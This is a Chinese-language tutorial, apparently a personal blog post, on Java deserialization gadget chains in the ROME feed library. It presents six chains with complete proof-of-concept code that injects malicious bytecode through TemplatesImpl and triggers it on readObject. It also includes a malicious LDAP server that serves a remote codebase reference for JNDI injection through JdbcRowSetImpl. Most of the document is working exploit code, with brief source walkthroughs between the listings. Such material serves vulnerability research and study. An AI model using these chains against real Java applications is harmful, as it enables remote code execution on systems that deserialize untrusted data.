环境配置
jdk:8u65
pom.xml
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>rome</artifactId>
<packaging>war</packaging>
<version>1.0-SNAPSHOT</version>
<name>rome Maven Webapp</name>
<url>http://maven.apache.org</url>
<dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>3.8.1</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.25.0-GA</version>
</dependency>
</dependencies>
<build>
<finalName>rome</finalName>
</build>
</project>
什么是Rome?
Rome是一种可以兼容多种格式的feeds解析器,可以利用其进行转换格式,也可以指定格式或者java对象
用于 RSS 和 Atom 订阅的 Java 框架
Gadget1(hashmap)
链子
* TemplatesImpl.getOutputProperties()
* ToStringBean.toString(String)
* ToStringBean.toString()
* ObjectBean.toString()
* EqualsBean.beanHashCode()
* ObjectBean.hashCode()
* HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream)
此链子本质是通过TostringBean#ToString
可以调用任意getter方法
private String toString(String prefix) {
StringBuffer sb = new StringBuffer(128);
try {
PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(_beanClass);
if (pds!=null) {
for (int i=0;i<pds.length;i++) {
String pName = pds[i].getName();
Method pReadMethod = pds[i].getReadMethod();
if (pReadMethod!=null && // ensure it has a getter method
pReadMethod.getDeclaringClass()!=Object.class && // filter Object.class getter methods
pReadMethod.getParameterTypes().length==0) { // filter getter methods that take parameters
Object value = pReadMethod.invoke(_obj,NO_PARAMS);
printProperty(sb,prefix+"."+pName,value);
}
}
}
}
catch (Exception ex) {
sb.append("\n\nEXCEPTION: Could not complete "+_obj.getClass()+".toString(): "+ex.getMessage()+"\n");
}
return sb.toString();
}
正好的事Templateslmpl类的任意类加载就是利用了getOutputProperties()getter这一方法
private static final Object[] NO_PARAMS = new Object[0];
private Class _beanClass;
private Object _obj;
这里ToStringBean类的构造方法,_beanClass是beanClass,_obj是我们要调用的实例对象
这里的实例我们要利用的肯定就是Templateslmpl
写一个例子看看能不能利用成功
package rome;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class test1 {
public static void main(String[] args) throws Exception{
TemplatesImpl templatesImpl = new TemplatesImpl();
byte[] bytecodes = Files.readAllBytes(Paths.get("F:\\fastjson西湖论剑1.2.48链子\\api\\ez_api\\rome\\src\\shell.class"));
setValue(templatesImpl,"_name","sunsun");
setValue(templatesImpl,"_class",null);
setValue(templatesImpl,"_tfactory",new TransformerFactoryImpl());
setValue(templatesImpl,"_bytecodes",new byte[][] {bytecodes} );
ToStringBean stringBean = new ToStringBean(Templates.class,templatesImpl);
stringBean.toString();
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}

很好,成功触发了
那么我们的入口在哪呢?我们利用EqualsBean类存在的hashCode(),可以调用任意类的toString
刚好就符合链子的要求
那readObject就选取HashMap中的readObject座位反序列化入口点即可,从URLDNS链就可知可以调用任意类的hashCode()
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
EqualsBean#hashCode()
public int hashCode() {
return beanHashCode();
}
public int beanHashCode() {
return _obj.toString().hashCode();
}
然后就可以构造我们的POC了
package rome;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
public class POC_HashMap {
public static void main(String[] args) throws Exception {
TemplatesImpl templatesImpl = new TemplatesImpl();
byte[] bytecodes = Files.readAllBytes(Paths.get("F:\\fastjson西湖论剑1.2.48链子\\api\\ez_api\\rome\\src\\shell.class"));
setValue(templatesImpl,"_name","sunsun");
setValue(templatesImpl,"_class",null);
setValue(templatesImpl,"_tfactory",new TransformerFactoryImpl());
setValue(templatesImpl,"_bytecodes",new byte[][] {bytecodes} );
ToStringBean stringBean = new ToStringBean(Templates.class,templatesImpl);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,stringBean);
HashMap map = new HashMap();
map.put(equalsBean,19891321);
serialize(map);
unserialize("ser.bin");
}
public static void setValue(Object obj,String key,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(key);
field.setAccessible(true);
field.set(obj, value);
}
public static String serialize(Object obj) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(obj);
String poc = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
return poc;
}
public static void unserialize(String exp) throws IOException,ClassNotFoundException{
byte[] bytes = Base64.getDecoder().decode(exp);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
}
哎哎,这种自己手搓一下就通的感觉好爽
Gadget2(HotSwappableTargetSource)
spring原生的toString利用链
链子
HashMap.readObject
HashMap.putVal
HotSwappableTargetSource.equals
XString.equals
ToStringBean.toString
先放上poc
package rome_hotSwappable;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import com.sun.syndication.feed.impl.ToStringBean;
import org.springframework.aop.target.HotSwappableTargetSource;
import rome_hashmap.Serial;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
public class test1 {
public static void main(String[] args) throws Exception {
TemplatesImpl templatesimpl = new TemplatesImpl();
byte[] bytecodes = Files.readAllBytes(Paths.get("F:\\fastjson西湖论剑1.2.48链子\\api\\ez_api\\rome\\src\\shell.class"));
setValue(templatesimpl,"_name","aaa");
setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(TemplatesImpl.class,templatesimpl);
//toStringBean.toString();
HotSwappableTargetSource h1 = new HotSwappableTargetSource(toStringBean); //h1-target->toStringBean
HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("ssssssssssssss"));//h2-target->new XString
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(h1,h1);
hashMap.put(h2,h2);
//XString.equals(toStringBean);
//Serial.Serialize(hashMap);
Serial.DeSerialize("ser.bin");
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}
具体网上分析应该没有那么详细,链子很简短
前后链子和上面那个是一样的,中间穿起来利用到了HotSwappableTargetSource和XString类
最后我们是要触发到ToStringBean.toString去加载我们构造好的恶意类
第一步我们看到XString#equals
public boolean equals(Object obj2)
{
if (null == obj2)
return false;
// In order to handle the 'all' semantics of
// nodeset comparisons, we always call the
// nodeset function.
else if (obj2 instanceof XNodeSet)
return obj2.equals(this);
else if(obj2 instanceof XNumber)
return obj2.equals(this);
else
return str().equals(obj2.toString());
}
我们可以看到他的equals方法最后调用到了任意类的toString方法
实际链子的入口还是HashMap,其中在我们使用put方法传入链表后,第二次putval函数调用了equals
final V putVal(int hash, K key, V value, boolean onlyIfAbsent,
boolean evict) {
Node<K,V>[] tab; Node<K,V> p; int n, i;
if ((tab = table) == null || (n = tab.length) == 0)
n = (tab = resize()).length;
if ((p = tab[i = (n - 1) & hash]) == null)
tab[i] = newNode(hash, key, value, null);
else {
Node<K,V> e; K k;
if (p.hash == hash &&
((k = p.key) == key || (key != null && key.equals(k))))
e = p;
else if (p instanceof TreeNode)
e = ((TreeNode<K,V>)p).putTreeVal(this, tab, hash, key, value);
else {
for (int binCount = 0; ; ++binCount) {
if ((e = p.next) == null) {
p.next = newNode(hash, key, value, null);
if (binCount >= TREEIFY_THRESHOLD - 1) // -1 for 1st
treeifyBin(tab, hash);
break;
}
if (e.hash == hash &&
((k = e.key) == key || (key != null && key.equals(k))))
break;
p = e;
}
}
if (e != null) { // existing mapping for key
V oldValue = e.value;
if (!onlyIfAbsent || oldValue == null)
e.value = value;
afterNodeAccess(e);
return oldValue;
}
}
++modCount;
if (++size > threshold)
resize();
afterNodeInsertion(evict);
return null;
}

我们传入两个h1,h2
其中h1会先存入到”桶”中,然后当h2被传入之后,会进行到此检测
这时候就变成了
h2.equals(h1)
这里去调用了HotSwappableTargetSource中的equals方法
public boolean equals(Object other) {
return (this == other || (other instanceof HotSwappableTargetSource &&
this.target.equals(((HotSwappableTargetSource) other).target)));
}
然后看到HotSwappableTargetSource的构造方法,可知this.target为传入的参数
public HotSwappableTargetSource(Object initialTarget) {
Assert.notNull(initialTarget, "Target object must not be null");
this.target = initialTarget;
}
然后我们就可知最后this.target.equals(((HotSwappableTargetSource) other).target
就会变成XString.equals(toStringBean)至此链子打通

Gadget3(ObjectBean)
链子
TemplatesImpl.getOutputProperties()
ToStringBean.toString(String)
ToStringBean.toString()
EqualsBean.beanHashCode()
ObjectBean.hashcode()
HashMap<K,V>.hash(Object)
HashMap<K,V>.readObject(ObjectInputStream)
ObjectBean#hashcode()调用了EqualsBean#beanHashCode()
所以这个就和最上面那一条是等价的了,直接构造POC
package rome_objectbean;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
public class rome_objectbean {
public static void main(String[] args) throws Exception {
TemplatesImpl templatesimpl = new TemplatesImpl();
byte[] bytecodes = Files.readAllBytes(Paths.get("F:\\fastjson西湖论剑1.2.48链子\\api\\ez_api\\rome\\src\\shell.class"));
setValue(templatesimpl,"_name","ssss");
setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);
//EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);这个就是个手动创建而已,两种都可以执行,反正原理一样,自己闲的没事多写的
//ObjectBean objectBean = new ObjectBean(EqualsBean.class,equalsBean);
ObjectBean objectBean1 =new ObjectBean(ToStringBean.class,toStringBean);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(objectBean1, "123");
serialize(hashMap);
unserialize("ser.bin");
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static String serialize(Object obj) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(obj);
String poc = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
return poc;
}
public static void unserialize(String exp) throws IOException,ClassNotFoundException{
byte[] bytes = Base64.getDecoder().decode(exp);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
}

Gadget4(HashTable)
链子
TemplatesImpl.getOutputProperties()
ToStringBean.toString(String)
ToStringBean.toString()
EqualsBean.beanHashCode()
ObjectBean.hashcode()
HashTable.reconstitutionPut(Entry)
HashTable.readObject(ObjectInputStream)
其实这条链子存在的原因就是考虑到当HashMap被ban的情况下,可以利用HashTable进行绕过
HashMap#put可以调用任意类的hashCode,那HashTable的也可以
public synchronized V put(K key, V value) {
// Make sure the value is not null
if (value == null) {
throw new NullPointerException();
}
// Makes sure the key is not already in the hashtable.
Entry<?,?> tab[] = table;
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
@SuppressWarnings("unchecked")
Entry<K,V> entry = (Entry<K,V>)tab[index];
for(; entry != null ; entry = entry.next) {
if ((entry.hash == hash) && entry.key.equals(key)) {
V old = entry.value;
entry.value = value;
return old;
}
}
这里可以利用上面ObjectBean那个链子就连起来了
package rome_hashtable;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.Hashtable;
public class rome_hashtable {
public static void main(String[] args) throws Exception {
TemplatesImpl templatesImpl = new TemplatesImpl();
byte[] bytecodes = Files.readAllBytes(Paths.get("F:\\fastjson西湖论剑1.2.48链子\\api\\ez_api\\rome\\src\\shell.class"));
setValue(templatesImpl,"_name","fish");
setValue(templatesImpl,"_tfactory",new TransformerFactoryImpl());
setValue(templatesImpl,"_bytecodes",new byte[][]{bytecodes});
setValue(templatesImpl,"_class",null);
ToStringBean toStringBean = new ToStringBean(Templates.class,templatesImpl);
ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean);
Hashtable hashtable = new Hashtable();
hashtable.put(objectBean,"objectBean");
serialize(hashtable);
unserialize("ser.bin");
}
public static void setValue(Object obj, String name, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static String serialize(Object obj) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(obj);
String poc = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
return poc;
}
public static void unserialize(String exp) throws IOException,ClassNotFoundException{
byte[] bytes = Base64.getDecoder().decode(exp);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
}

Gadget5(BadAttributeValueExpException)
链子
TemplatesImpl.getOutputProperties()
ToStringBean.toString(String)
ToStringBean.toString()
BadAttributeValueExpException.readObject()
BadAttributeValueExpException这个类中的readObject能够调用任意的toString方法
public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
}
/**
* Returns the string representing the object.
*/
public String toString() {
return "BadAttributeValueException: " + val;
}
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
直接poc
这里我用base64的库去写的ser和unser,出了个报错,对于.的处理会有问题,于是换回了原始的写法
package rome_BadAttributeValueExpException;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class rome_BadAttributeValueExpException {
public static void main(String[] args) throws Exception {
TemplatesImpl templatesimpl = new TemplatesImpl();
byte[] bytecodes = Files.readAllBytes(Paths.get("F:\\fastjson西湖论剑1.2.48链子\\api\\ez_api\\rome\\src\\shell.class"));
setValue(templatesimpl,"_name","aaa");
setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123);
setValue(badAttributeValueExpException,"val",toStringBean);
serialize(badAttributeValueExpException);
unserialize("1.txt");;
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void serialize(Object object) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.txt"));
oos.writeObject(object);
oos.close();
}
public static void unserialize(String filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
ois.readObject();
}
}

Gadget6(JdbcRowSetImpl)
当Templateslmpl被ban时,可以利用JdbcRowSetImpl动态加载字节码
我们知道ToStringBean#toString会调用所有的getter
我们可以利用到JdbcRowSetImpl.getDatabaseMetaData()这个getter
public DatabaseMetaData getDatabaseMetaData() throws SQLException {
Connection var1 = this.connect();
return var1.getMetaData();
}
跟进connect就会发现最终调用到了lookup方法,就实现了JNDI注入
起一个LDAP服务
package rome_jdbc;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.URL;
public class fastjson_LDAP_poc1 {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main(String[] args) {
String codebase = "http://127.0.0.1:8888/#EXP";
int port = 9999;
if (args.length > 0) {
codebase = args[0];
}
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(codebase)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
System.out.println("Codebase: " + codebase);
ds.startListening();
} catch (Exception e) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor(URL cb) {
this.codebase = cb;
}
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
System.out.println("=== LDAP Server: Received request for base: " + base + " ===");
Entry e = new Entry(base);
try {
sendResult(result, base, e);
System.out.println("=== LDAP Server: Response sent successfully ===");
} catch (Exception e1) {
System.err.println("=== LDAP Server: Error sending response ===");
e1.printStackTrace();
}
}
protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e)
throws Exception {
// 获取类名(# 后面的部分)
String className = this.codebase.getRef();
System.out.println("Extracted class name: " + className);
if (className == null || className.isEmpty()) {
// 如果没有 #,从路径中提取类名
String path = this.codebase.getPath();
if (path.contains("/")) {
className = path.substring(path.lastIndexOf('/') + 1);
// 去掉 .class 后缀(如果有)
if (className.endsWith(".class")) {
className = className.substring(0, className.length() - 6);
}
} else {
className = path;
}
System.out.println("Using class name from path: " + className);
}
// 构造类文件 URL
String codebaseUrl = this.codebase.toString();
int refPos = codebaseUrl.indexOf('#');
if (refPos > 0) {
codebaseUrl = codebaseUrl.substring(0, refPos);
}
// 确保 codebaseUrl 以 / 结尾
if (!codebaseUrl.endsWith("/")) {
codebaseUrl += "/";
}
URL classUrl = new URL(codebaseUrl + className.replace('.', '/') + ".class");
System.out.println("Class URL: " + classUrl);
System.out.println("CodeBase: " + codebaseUrl);
System.out.println("Factory: " + className);
// 设置 LDAP 条目属性
e.addAttribute("javaClassName", "java.lang.String");
e.addAttribute("javaCodeBase", codebaseUrl);
e.addAttribute("objectClass", "javaNamingReference");
//e.addAttribute("javaFactory", className);
e.addAttribute("javaFactory", "json_dome.EXP");
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
System.out.println("=== LDAP Server: Sent reference for class: " + className + " ===");
}
}
}
POC
package rome_jdbc;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
public class rome_jdbc {
public static void main(String[] args) throws Exception {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
String url = "ldap://localhost:9999/EXP";
jdbcRowSet.setDataSourceName(url);
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(equalsBean, "123");
serialize(hashMap);
unserialize("3.txt");
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void serialize(Object object) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("3.txt"));
oos.writeObject(object);
oos.close();
}
public static void unserialize(String filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
ois.readObject();
}
}
